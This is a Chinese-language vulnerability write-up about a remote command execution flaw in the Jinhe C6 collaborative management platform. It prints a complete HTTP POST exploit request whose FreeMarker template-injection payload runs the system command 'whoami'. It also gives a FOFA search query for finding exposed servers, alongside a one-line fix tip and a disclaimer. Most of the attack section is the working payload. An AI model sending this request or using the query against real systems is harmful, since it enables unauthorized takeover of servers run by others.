目录
一.概述
二 .漏洞影响
三.漏洞复现
1. 漏洞一：
四.修复建议：
五. 搜索语法：
六.免责声明
一.概述
金和C6协同管理平台包括协同办公管理,人力资源管理,项目管理,客户关系管理,企业目标管理,费用管理,移动办公,微信办公等多个业务范围.基于SOA插件式的整合平台、灵活的工作流程引擎、强大的自定义表单工具、良好的系统开放性、灵活多样的部署方式，支持集团化企业应用、外部组件标准集成接口、支持移动客户端应用体验
二 .漏洞影响
通过提交恶意构造的参数破坏命令语句结构，从而达到执行恶意命令的目的。继承Web服务器程序的权限，去执行系统命令，控制整个服务器。
三.漏洞复现
1. 漏洞一：
（1）漏洞类型：RCE
（2）请求类型：POST
（3）复现
找到相关资产
请求漏洞点，查看 Response:
Request:（数据包看实际情况）
POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Connection: close
moduId=1&code=<clob>${"freemarker.template.utility.Execute"?new()("whoami")}</clob>&uuid=1四.修复建议：
命令执行函数的变量在进入执行命令函数前要做好过滤和检测。
五. 搜索语法：
1.fofa
icon_hash="-1833403018" || body="/jc6/platform/"六.免责声明
本文所涉及的任何技术、信息或工具，仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。
